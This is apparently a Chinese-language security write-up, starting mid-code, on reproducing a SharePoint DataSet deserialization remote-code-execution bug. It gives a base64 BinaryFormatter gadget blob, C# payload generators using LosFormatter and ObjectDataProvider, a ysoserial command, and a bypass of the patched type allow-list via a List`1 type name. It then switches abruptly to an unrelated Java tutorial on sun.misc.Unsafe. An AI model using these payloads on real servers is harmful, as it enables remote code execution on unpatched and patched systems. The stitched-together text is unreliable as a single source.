HbWV0aG9kMQMDAzBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJCAAAAAkJAAAACQoAAAAECAAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRlRW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRUeXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYLAAAAsAJTeXN0ZW0uRnVuY2AzW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcywgU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkGDgAAABpTeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcwYPAAAABVN0YXJ0CRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAAD5TeXN0ZW0uRGlhZ25vc3RpY3MuUHJvY2VzcyBTdGFydChTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYVAAAAPlN5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzIFN0YXJ0KFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBCgAAAAkAAAAGFgAAAAdDb21wYXJlCQwAAAAGGAAAAA1TeXN0ZW0uU3RyaW5nBhkAAAArSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQYaAAAAMlN5c3RlbS5JbnQzMiBDb21wYXJlKFN5c3RlbS5TdHJpbmcsIFN5c3RlbS5TdHJpbmcpCAAAAAoBEAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL");
            var wrapperType = typeof(ExpandedWrapper<,>).MakeGenericType(typeof(LosFormatter), typeof(ObjectDataProvider));
            dynamic wrapper = Activator.CreateInstance(wrapperType);
            wrapper.ExpandedElement = losFormatter;
            wrapper.ProjectedProperty0 = odp;

            var listType = typeof(List<>).MakeGenericType(wrapperType);
            dynamic list = Activator.CreateInstance(listType);
            list.Add(wrapper);

            DataTable dt = new DataTable("hehe");
            dt.Columns.Add("pwn", listType);
            dt.Rows.Add(list);
            DataSet ds = new DataSet("somedataset");
            ds.Tables.Add(dt);

            using (MemoryStream memoryStream = new MemoryStream())
            {
                using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
                {
                    BinaryFormatter formatter = new BinaryFormatter();
                    formatter.Serialize(gzipStream, ds); 
                }

                // 获取压缩数据并转换成 Base64 字符串
                byte[] compressedData = memoryStream.ToArray();
                string payload = Convert.ToBase64String(compressedData);
                Console.WriteLine(payload);
            }

            }
        }
    }

其中LosFormatter.Deserialize反序列化的内容是TypeConfuseDelegate链子

ysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c winver -o base64

将生成的内容填入CompressData

image.png

0x04 写在最后

在复现漏洞的时候,我并没有看到文章中所说的DataSetSurrogateSelector选择器,我猜测这个选择器是打了CVE-2020-1147的补丁。

https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2020-1147

0x05 DataSetSurrogateSelector选择器

在我打了补丁之后,发现之前的POC已经打不通了,在文章中很详细的给出了其过滤规则,

https://blog.viettelcybersecurity.com/sharepoint-toolshell/

利用了自写的BinarySerialization.Deserialize

image.png

先是利用了LimitingBinder做了限制

private sealed class LimitingBinder : SerializationBinder
        {
            // Token: 0x06000002 RID: 2 RVA: 0x00002110 File Offset: 0x00000310
            internal LimitingBinder(IEnumerable<Type> extraTypes)
            {
                this._allowedTypeMap = new TypeMap();
                this._allowedTypeMap.Add(typeof(DataSet));
                this._allowedTypeMap.Add(typeof(DataTable));
                this._allowedTypeMap.Add(typeof(SchemaSerializationMode));
                this._allowedTypeMap.Add(typeof(Version));
                if (extraTypes != null)
                {
                    foreach (Type type in extraTypes)
                    {
                        if (type != null && !(type == typeof(DataSet)) && !(type == typeof(DataTable)))
                        {
                            if (typeof(DataSet).IsAssignableFrom(type) || typeof(DataTable).IsAssignableFrom(type))
                            {
                                throw new ArgumentException("");
                            }
                            this._allowedTypeMap.Add(type);
                        }
                    }
                }
            }

这里可以看到拥有DataSet所以不需要关心,之后便会进入到DataSetSurrogateSelector选择器。

public object SetObjectData(object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
            {
                Type type = obj.GetType();
                Type baseType = type.BaseType;
                if (type != typeof(DataSet) && type != typeof(DataTable) && !type.IsSubclassOf(typeof(DataSet)) && !type.IsSubclassOf(typeof(DataTable)))
                {
                    return null;
                }
                SerializationInfo serializationInfo = new SerializationInfo(obj.GetType(), new FormatterConverter());
                string @string = info.GetString("XmlSchema");
                if (@string != null)
                {
                    this._validator.ValidateXml(@string);
                    serializationInfo.AddValue("XmlSchema", @string);
                }
                string string2 = info.GetString("XmlDiffGram");
                if (string2 != null)
                {
                    this._validator.ValidateXml(string2);
                    serializationInfo.AddValue("XmlDiffGram", string2);
                }
                ConstructorInfo constructor = obj.GetType().GetConstructor(BindingFlags.Instance | BindingFlags.Public | BindingFlags.NonPublic, null, new Type[]
                {
                    typeof(SerializationInfo),
                    typeof(StreamingContext)
                }, null);
                if (constructor != null)
                {
                    constructor.Invoke(obj, new object[]
                    {
                        serializationInfo,
                        context
                    });
                }
                return obj;
            }

这里会提取出SerializationInfo中的XmlSchemaXmlDiffGram,然后使用XmlValidator来验证信息。

        // Token: 0x06000063 RID: 99 RVA: 0x00003A74 File Offset: 0x00001C74
        private void ValidateXml(XDocument document)
        {
            foreach (XElement xelement in document.Descendants())
            {
                foreach (XAttribute xattribute in xelement.Attributes(Constants.MSD_DATATYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute.Value);
                }
                foreach (XAttribute xattribute2 in xelement.Attributes(Constants.MSD_INSTANCETYPE_XName))
                {
                    this.ValidateTypeIsAllowed(xattribute2.Value);
                }
                foreach (XAttribute xattribute3 in xelement.Attributes(Constants.MSD_EXPRESSION_XName))
                {
                    this.ValidateExpressionIsAllowed(xattribute3.Value);
                }
            }
        }

验证DataTypeInstanceTypeExpression不在允许列表中,XmlValidator就会抛出异常。

        private void ValidateTypeIsAllowed(string fullTypeName)
        {
            TypeInAssembly typeInAssembly = TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);
            if (!this.IsAllowedType(typeInAssembly.TypeNameText, typeInAssembly.AssemblyNameText))
            {
                this.ThrowInvalidTypeException(fullTypeName);
            }
        }

允许列表如下,

internal static class DefaultAllowList
    {
        // Token: 0x04000004 RID: 4
        internal static Type[] Members = new Type[]
        {
            typeof(bool),
            typeof(char),
            typeof(sbyte),
            typeof(byte),
            typeof(short),
            typeof(ushort),
            typeof(int),
            typeof(uint),
            typeof(long),
            typeof(ulong),
            typeof(float),
            typeof(double),
            typeof(decimal),
            typeof(DateTime),
            typeof(DateTimeOffset),
            typeof(TimeSpan),
            typeof(string),
            typeof(Guid),
            typeof(SqlBinary),
            typeof(SqlBoolean),
            typeof(SqlByte),
            typeof(SqlBytes),
            typeof(SqlChars),
            typeof(SqlDateTime),
            typeof(SqlDecimal),
            typeof(SqlDouble),
            typeof(SqlGuid),
            typeof(SqlInt16),
            typeof(SqlInt32),
            typeof(SqlInt64),
            typeof(SqlMoney),
            typeof(SqlSingle),
            typeof(SqlString),
            typeof(object),
            typeof(Uri),
            typeof(Color),
            typeof(Point),
            typeof(PointF),
            typeof(Rectangle),
            typeof(RectangleF),
            typeof(Size),
            typeof(SizeF)
        };
    }

是一些和RCE毫不相关的类型,这里我们注意到TypeNameParser.ParseAssemblyQualifiedName(fullTypeName);会对传入的类型名称作解析。

// Token: 0x06000054 RID: 84 RVA: 0x000036C0 File Offset: 0x000018C0
        public static TypeInAssembly ParseAssemblyQualifiedName(string assemblyQualifiedName)
        {
            assemblyQualifiedName = ((assemblyQualifiedName != null) ? assemblyQualifiedName.Trim() : null);
            if (string.IsNullOrEmpty(assemblyQualifiedName))
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            int num = 0;
            for (int i = 0; i < assemblyQualifiedName.Length; i++)
            {
                char c = assemblyQualifiedName[i];
                if (c != ',')
                {
                    checked
                    {
                        switch (c)
                        {
                        case '[':
                            num++;
                            break;
                        case ']':
                            num--;
                            break;
                        }
                    }
                }
                else if (num == 0)
                {
                    string typeName = assemblyQualifiedName.Substring(0, i).Trim();
                    string text = assemblyQualifiedName.Substring(i + 1);
                    string[] array = text.Split(new char[]
                    {
                        ','
                    });
                    if (array[0].IndexOf('=') >= 0)
                    {
                        throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                    }
                    for (i = 1; i < array.Length; i++)
                    {
                        string text2 = array[i].Trim();
                        if (!text2.StartsWith("Version=", StringComparison.Ordinal) && !text2.StartsWith("Culture=", StringComparison.Ordinal) && !text2.StartsWith("PublicKeyToken=", StringComparison.Ordinal))
                        {
                            throw new ArgumentOutOfRangeException("assemblyQualifiedName");
                        }
                    }
                    return new TypeInAssembly(typeName, new AssemblyName(text));
                }
            }
            if (num != 0)
            {
                throw new ArgumentOutOfRangeException("assemblyQualifiedName");
            }
            Type type;
            TypeNameParser._defaultSimpleNameMappings.TryGetValue(assemblyQualifiedName, out type);
            type = (type ?? typeof(object));
            return new TypeInAssembly(type.FullName, TypeNameParser.SimplifyAssemblyName(type.Assembly.GetName()));
        }

在这里检查类型的时候,只会检查[]外边的部分,检查类型名称是否包含逗号,,然后提取类型名称并返回它。

但是当类型名称没有,或者在[]外面没有,的时候,会从_defaultSimpleNameMappings获取类型。如果在其中没有的话,则该类型将转换为object,而object是包含在允许的列表当中的。

因此我们可以通过XmlValidator

所以我们可以构造

System.Collections.Generic.List`1[[<any type, any assembly name>]]

来绕过限制,因为System.Collections.Generic.Listmscorlib中,所以我们不需要指定程序集名称部分。

构造出最终的payload

using System;
using System.Data;
using System.IO;
using System.IO.Compression;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
public class Program
{
    public static void Main()
    {

        CustomPayload customPayload = new CustomPayload();
        byte[] binaryPayload;
        using (MemoryStream ms = new MemoryStream())
        {
            BinaryFormatter formatter = new BinaryFormatter();
            formatter.Serialize(ms,customPayload);
            binaryPayload = ms.ToArray();
        }

        string base64Payload = Convert.ToBase64String(CompressPayload(binaryPayload));

        Console.WriteLine("--- 生成的 BinaryFormatter Base64  ---");
        Console.WriteLine(base64Payload);
    }
    public static byte[] CompressPayload(byte[] payload)
    {
        using (MemoryStream memoryStream = new MemoryStream())
        {
            using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
            {
                gzipStream.Write(payload, 0, payload.Length);
            }

            return memoryStream.ToArray();
        }
    }
}
[Serializable]
public class CustomPayload : ISerializable
{
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Data.DataSet));
        info.AddValue("XmlSchema", "<xs:schema xmlns=\"\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" id=\"dataset\">\r\n    <xs:element name=\"dataset\" msdata:IsDataSet=\"true\" msdata:UseCurrentLocale=\"true\">\r\n        <xs:complexType>\r\n            <xs:choice minOccurs=\"0\" maxOccurs=\"unbounded\">\r\n                <xs:element name=\"test\">\r\n                    <xs:complexType>\r\n                        <xs:sequence>\r\n                            <xs:element name=\"pwn\" msdata:DataType=\"System.Collections.Generic.List`1[[System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]\" type=\"xs:anyType\" minOccurs=\"0\"/>\r\n                        </xs:sequence>\r\n                    </xs:complexType>\r\n                </xs:element>\r\n            </xs:choice>\r\n        </xs:complexType>\r\n    </xs:element>\r\n</xs:schema>");
        info.AddValue("XmlDiffGram", "<diffgr:diffgram xmlns:msdata=\"urn:schemas-microsoft-com:xml-msdata\" xmlns:diffgr=\"urn:schemas-microsoft-com:xml-diffgram-v1\">\r\n        <dataset>\r\n            <test diffgr:id=\"Table\" msdata:rowOrder=\"0\" diffgr:hasChanges=\"inserted\">\r\n                <pwn xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">\r\n                    <ExpandedWrapperOfLosFormatterObjectDataProvider xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" >\r\n                    <ExpandedElement/>\r\n                    <ProjectedProperty0>\r\n                        <MethodName>Deserialize</MethodName>\r\n                        <MethodParameters>\r\n                            <anyType xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xsi:type=\"xsd:string\">{base64payload}</anyType>\r\n                    </MethodParameters>\r\n                    <ObjectInstance xsi:type=\"LosFormatter\"></ObjectInstance>\r\n            </ProjectedProperty0>\r\n        </ExpandedWrapperOfLosFormatterObjectDataProvider>\r\n                </pwn>\r\n            </test>\r\n        </dataset>\r\n    </diffgr:diffgram>");
    }
}

介绍

Unsafe是位于sun.misc包下的一个类,主要提供一些用于执行低级别、不安全操作的方法,如直接访问系统内存资源、自主管理内存资源等,这些方法在提升Java运行效率、增强Java语言底层资源操作能力方面起到了很大的作用。但由于Unsafe类使Java语言拥有了类似C语言指针一样操作内存空间的能力,这无疑也增加了程序发生相关指针问题的风险。在程序中过度、不正确使用Unsafe类会使得程序出错的概率变大,使得Java这种安全的语言变得不再“安全”,因此对Unsafe的使用一定要慎重。

这个类尽管里面的方法都是 public 的,但是并没有办法使用它们,JDK API 文档也没有提供任何关于这个类的方法的解释。总而言之,对于 Unsafe 类的使用都是受限制的,只有授信的代码才能获得该类的实例,当然 JDK 库里面的类是可以随意使用的。

先来看下这张图,对UnSafe类总体功能:

如上图所示,Unsafe提供的API大致可分为内存操作、CAS、Class相关、对象操作、线程调度、系统信息获取、内存屏障、数组操作等几类,下面将对其相关方法和应用场景进行详细介绍。

内存操作

介绍

如果你是一个写过 C 或者 C++ 的程序员,一定对内存操作不会陌生,而在 Java 中是不允许直接对内存进行操作的,对象内存的分配和回收都是由 JVM 自己实现的。但是在 Unsafe 中,提供的下列接口可以直接进行内存操作:

//分配新的本地空间
public native long allocateMemory(long bytes);
//重新调整内存空间的大小
public native long reallocateMemory(long address, long bytes);
//将内存设置为指定值
public native void setMemory(Object o, long offset, long bytes, byte value);
//内存拷贝
public native void copyMemory(Object srcBase, long srcOffset,Object destBase, long destOffset,long bytes);
//清除内存
public native void freeMemory(long address);

使用下面的代码进行测试:

private void memoryTest() {
    int size = 4;
    long addr = unsafe.allocateMemory(size);
    long addr3 = unsafe.reallocateMemory(addr, size * 2);
    System.out.println("addr: "+addr);
    System.out.println("addr3: "+addr3);
    try {
        unsafe.setMemory(null,addr ,size,(byte)1);
        for (int i = 0; i < 2; i++) {
            unsafe.copyMemory(null,addr,null,addr3+size*i,4);
        }
        System.out.println(unsafe.getInt(addr));
        System.out.println(unsafe.getLong(addr3));
    }finally {
        unsafe.freeMemory(addr);
        unsafe.freeMemory(addr3);
    }
}

先看结果输出:

addr: 2433733895744
addr3: 2433733894944
16843009
72340172838076673

分析一下运行结果,首先使用allocateMemory方法申请 4 字节长度的内存空间,调用setMemory方法向每个字节写入内容为byte类型的 1,当使用 Unsafe 调用getInt方法时,因为一个int型变量占 4 个字节,会一次性读取 4 个字节,组成一个int的值,对应的十进制结果为 16843009。

你可以通过下图理解这个过程:

在代码中调用reallocateMemory方法重新分配了一块 8 字节长度的内存空间,通过比较addraddr3可以看到和之前申请的内存地址是不同的。在代码中的第二个 for 循环里,调用copyMemory方法进行了两次内存的拷贝,每次拷贝内存地址addr开始的 4 个字节,分别拷贝到以addr3addr3+4开始的内存空间上:

拷贝完成后,使用getLong方法一次性读取 8 个字节,得到long类型的值为 72340172838076673。

需要注意,通过这种方式分配的内存属于 堆外内存 ,是无法进行垃圾回收的,需要我们把这些内存当做一种资源去手动调用freeMemory方法进行释放,否则会产生内存泄漏。通用的操作内存方式是在try中执行对内存的操作,最终在finally块中进行内存的释放。

为什么要使用堆外内存?

  • 对垃圾回收停顿的改善。由于堆外内存是直接受操作系统管理而不是 JVM,所以当我们使用堆外内存时,即可保持较小的堆内内存规模。从而在 GC 时减少回收停顿对于应用的影响。
  • 提升程序 I/O 操作的性能。通常在 I/O 通信过程中,会存在堆内内存到堆外内存的数据拷贝操作,对于需要频繁进行内存间数据拷贝且生命周期较短的暂存数据,都建议存储到堆外内存。

典型应用

DirectByteBuffer 是 Java 用于实现堆外内存的一个重要类,通常用在通信过程中做缓冲池,如在 Netty、MINA 等 NIO 框架中应用广泛。DirectByteBuffer 对于堆外内存的创建、使用、销毁等逻辑均由 Unsafe 提供的堆外内存 API 来实现。

下图为 DirectByteBuffer 构造函数,创建 DirectByteBuffer 的时候,通过 Unsafe.allocateMemory 分配内存、Unsafe.setMemory 进行内存初始化,而后构建 Cleaner 对象用于跟踪 DirectByteBuffer 对象的垃圾回收,以实现当 DirectByteBuffer 被垃圾回收时,分配的堆外内存一起被释放。

DirectByteBuffer(int cap) {                   // package-private

    super(-1, 0, cap, cap);
    boolean pa = VM.isDirectMemoryPageAligned();
    int ps = Bits.pageSize();
    long size = Math.max(1L, (long)cap + (pa ? ps : 0));
    Bits.reserveMemory(size, cap);

    long base = 0;
    try {
        // 分配内存并返回基地址
        base = unsafe.allocateMemory(size);
    } catch (OutOfMemoryError x) {
        Bits.unreserveMemory(size, cap);
        throw x;
    }
    // 内存初始化
    unsafe.setMemory(base, size, (byte) 0);
    if (pa && (base % ps != 0)) {
        // Round up to page boundary
        address = base + ps - (base & (ps - 1));
    } else {
        address = base;
    }
    // 跟踪 DirectByteBuffer 对象的垃圾回收,以实现堆外内存释放
    cleaner = Cleaner.create(this, new Deallocator(base, size, cap));
    att = null;
}

内存屏障

介绍

在介绍内存屏障前,需要知道编译器和 CPU 会在保证程序输出结果一致的情况下,会对代码进行重排序,从指令优化角度提升性能。而指令重排序可能会带来一个不好的结果,导致 CPU 的高速缓存和内存中数据的不一致,而内存屏障(Memory Barrier)就是通过阻止屏障两边的指令重排序从而避免编译器和硬件的不正确优化情况。

在硬件层面上,内存屏障是 CPU 为了防止代码进行重排序而提供的指令,不同的硬件平台上实现内存屏障的方法可能并不相同。在 Java8 中,引入了 3 个内存屏障的函数,它屏蔽了操作系统底层的差异,允许在代码中定义、并统一由 JVM 来生成内存屏障指令,来实现内存屏障的功能。

Unsafe 中提供了下面三个内存屏障相关方法:

//内存屏障,禁止load操作重排序。屏障前的load操作不能被重排序到屏障后,屏障后的load操作不能被重排序到屏障前
public native void loadFence();
//内存屏障,禁止store操作重排序。屏障前的store操作不能被重排序到屏障后,屏障后的store操作不能被重排序到屏障前
public native void storeFence();
//内存屏障,禁止load、store操作重排序
public native void fullFence();

内存屏障可以看做对内存随机访问的操作中的一个同步点,使得此点之前的所有读写操作都执行后才可以开始执行此点之后的操作。以loadFence方法为例,它会禁止读操作重排序,保证在这个屏障之前的所有读操作都已经完成,并且将缓存数据设为无效,重新从主存中进行加载。

看到这估计很多小伙伴们会想到volatile关键字了,如果在字段上添加了volatile关键字,就能够实现字段在多线程下的可见性。基于读内存屏障,我们也能实现相同的功能。下面定义一个线程方法,在线程中去修改flag标志位,注意这里的flag是没有被volatile修饰的:

@Getter
class ChangeThread implements Runnable{
    /**volatile**/ boolean flag=false;
    @Override
    public void run() {
        try {
            Thread.sleep(3000);
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
        System.out.println("subThread change flag to:" + flag);
        flag = true;
    }
}

在主线程的while循环中,加入内存屏障,测试是否能够感知到flag的修改变化:

public static void main(String[] args){
    ChangeThread changeThread = new ChangeThread();
    new Thread(changeThread).start();
    while (true) {
        boolean flag = changeThread.isFlag();
        unsafe.loadFence(); //加入读内存屏障
        if (flag){
            System.out.println("detected flag changed");
            break;
        }
    }
    System.out.println("main thread end");
}

运行结果:

subThread change flag to:false
detected flag changed
main thread end

而如果删掉上面代码中的loadFence方法,那么主线程将无法感知到flag发生的变化,会一直在while中循环。可以用图来表示上面的过程:

了解 Java 内存模型(JMM)的小伙伴们应该清楚,运行中的线程不是直接读取主内存中的变量的,只能操作自己工作内存中的变量,然后同步到主内存中,并且线程的工作内存是不能共享的。上面的图中的流程就是子线程借助于主内存,将修改后的结果同步给了主线程,进而修改主线程中的工作空间,跳出循环。

典型应用

在 Java 8 中引入了一种锁的新机制——StampedLock,它可以看成是读写锁的一个改进版本。StampedLock 提供了一种乐观读锁的实现,这种乐观读锁类似于无锁的操作,完全不会阻塞写线程获取写锁,从而缓解读多写少时写线程“饥饿”现象。由于 StampedLock 提供的乐观读锁不阻塞写线程获取读锁,当线程共享变量从主内存 load 到线程工作内存时,会存在数据不一致问题。

为了解决这个问题,StampedLockvalidate 方法会通过 UnsafeloadFence 方法加入一个 load 内存屏障。

public boolean validate(long stamp) {
   U.loadFence();
   return (stamp & SBITS) == (state & SBITS);
}

对象操作

介绍

例子

import sun.misc.Unsafe;
import java.lang.reflect.Field;

public class Main {

    private int value;

    public static void main(String[] args) throws Exception{
        Unsafe unsafe = reflectGetUnsafe();
        assert unsafe != null;
        long offset = unsafe.objectFieldOffset(Main.class.getDeclaredField("value"));
        Main main = new Main();
        System.out.println("value before putInt: " + main.value);
        unsafe.putInt(main, offset, 42);
        System.out.println("value after putInt: " + main.value);
  System.out.println("value after putInt: " + unsafe.getInt(main, offset));
    }

    private static Unsafe reflectGetUnsafe() {
        try {
            Field field = Unsafe.class.getDeclaredField("theUnsafe");
            field.setAccessible(true);
            return (Unsafe) field.get(null);
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

}

输出结果:

value before putInt: 0
value after putInt: 42
value after putInt: 42

对象属性

对象成员属性的内存偏移量获取,以及字段属性值的修改,在上面的例子中我们已经测试过了。除了前面的putIntgetInt方法外,Unsafe 提供了全部 8 种基础数据类型以及Objectputget方法,并且所有的put方法都可以越过访问权限,直接修改内存中的数据。阅读 openJDK 源码中的注释发现,基础数据类型和Object的读写稍有不同,基础数据类型是直接操作的属性值(value),而Object的操作则是基于引用值(reference value)。下面是Object的读写方法:

//在对象的指定偏移地址获取一个对象引用
public native Object getObject(Object o, long offset);
//在对象指定偏移地址写入一个对象引用
public native void putObject(Object o, long offset, Object x);

除了对象属性的普通读写外,Unsafe 还提供了 volatile 读写有序写入方法。volatile读写方法的覆盖范围与普通读写相同,包含了全部基础数据类型和Object类型,以int类型为例:

//在对象的指定偏移地址处读取一个int值,支持volatile load语义
public native int getIntVolatile(Object o, long offset);
//在对象指定偏移地址处写入一个int,支持volatile store语义
public native void putIntVolatile(Object o, long offset, int x);

相对于普通读写来说,volatile读写具有更高的成本,因为它需要保证可见性和有序性。在执行get操作时,会强制从主存中获取属性值,在使用put方法设置属性值时,会强制将值更新到主存中,从而保证这些变更对其他线程是可见的。

有序写入的方法有以下三个:

public native void putOrderedObject(Object o, long offset, Object x);
public native void putOrderedInt(Object o, long offset, int x);
public native void putOrderedLong(Object o, long offset, long x);

有序写入的成本相对volatile较低,因为它只保证写入时的有序性,而不保证可见性,也就是一个线程写入的值不能保证其他线程立即可见。为了解决这里的差异性,需要对内存屏障的知识点再进一步进行补充,首先需要了解两个指令的概念:

  • Load:将主内存中的数据拷贝到处理器的缓存中
  • Store:将处理器缓存的数据刷新到主内存中

顺序写入与volatile写入的差别在于,在顺序写时加入的内存屏障类型为StoreStore类型,而在volatile写入时加入的内存屏障是StoreLoad类型,如下图所示:

在有序写入方法中,使用的是StoreStore屏障,该屏障确保Store1立刻刷新数据到内存,这一操作先于Store2以及后续的存储指令操作。而在volatile写入中,使用的是StoreLoad屏障,该屏障确保Store1立刻刷新数据到内存,这一操作先于Load2及后续的装载指令,并且,StoreLoad屏障会使该屏障之前的所有内存访问指令,包括存储指令和访问指令全部完成之后,才执行该屏障之后的内存访问指令。

综上所述,在上面的三类写入方法中,在写入效率方面,按照putputOrderputVolatile的顺序效率逐渐降低。

对象实例化

使用 UnsafeallocateInstance 方法,允许我们使用非常规的方式进行对象的实例化,首先定义一个实体类,并且在构造函数中对其成员变量进行赋值操作:

@Data
public class A {
    private int b;
    public A(){
        this.b =1;
    }
}

分别基于构造函数、反射以及 Unsafe 方法的不同方式创建对象进行比较:

public void objTest() throws Exception{
    A a1=new A();
    System.out.println(a1.getB());
    A a2 = A.class.newInstance();
    System.out.println(a2.getB());
    A a3= (A) unsafe.allocateInstance(A.class);
    System.out.println(a3.getB());
}

打印结果分别为 1、1、0,说明通过allocateInstance方法创建对象过程中,不会调用类的构造方法。使用这种方式创建对象时,只用到了Class对象,所以说如果想要跳过对象的初始化阶段或者跳过构造器的安全检查,就可以使用这种方法。在上面的例子中,如果将 A 类的构造函数改为private类型,将无法通过构造函数和反射创建对象(可以通过构造函数对象 setAccessible 后创建对象),但allocateInstance方法仍然有效。

典型应用

  • 常规对象实例化方式:我们通常所用到的创建对象的方式,从本质上来讲,都是通过 new 机制来实现对象的创建。但是,new 机制有个特点就是当类只提供有参的构造函数且无显示声明无参构造函数时,则必须使用有参构造函数进行对象构造,而使用有参构造函数时,必须传递相应个数的参数才能完成对象实例化。
  • 非常规的实例化方式:而 Unsafe 中提供 allocateInstance 方法,仅通过 Class 对象就可以创建此类的实例对象,而且不需要调用其构造函数、初始化代码、JVM 安全检查等。它抑制修饰符检测,也就是即使构造器是 private 修饰的也能通过此方法实例化,只需提类对象即可创建相应的对象。由于这种特性,allocateInstance 在 java.lang.invoke、Objenesis(提供绕过类构造器的对象生成方式)、Gson(反序列化时用到)中都有相应的应用。

数组操作

介绍

arrayBaseOffsetarrayIndexScale 这两个方法配合起来使用,即可定位数组中每个元素在内存中的位置。

//返回数组中第一个元素的偏移地址
public native int arrayBaseOffset(Class<?> arrayClass);
//返回数组中一个元素占用的大小
public native int arrayIndexScale(Class<?> arrayClass);

典型应用

这两个与数据操作相关的方法,在 java.util.concurrent.atomic 包下的 AtomicIntegerArray(可以实现对 Integer 数组中每个元素的原子性操作)中有典型的应用,如下图 AtomicIntegerArray 源码所示,通过 UnsafearrayBaseOffsetarrayIndexScale 分别获取数组首元素的偏移地址 base 及单个元素大小因子 scale 。后续相关原子性操作,均依赖于这两个值进行数组中元素的定位,如下图二所示的 getAndAdd 方法即通过 checkedByteOffset 方法获取某数组元素的偏移地址,而后通过 CAS 实现原子性操作。

CAS 操作

介绍

这部分主要为 CAS 相关操作的方法。

/**
  *  CAS
  * @param o         包含要修改field的对象
  * @param offset    对象中某field的偏移量
  * @param expected  期望值
  * @param update    更新值
  * @return          true | false
  */
public final native boolean compareAndSwapObject(Object o, long offset,  Object expected, Object update);

public final native boolean compareAndSwapInt(Object o, long offset, int expected,int update);

public final native boolean compareAndSwapLong(Object o, long offset, long expected, long update);

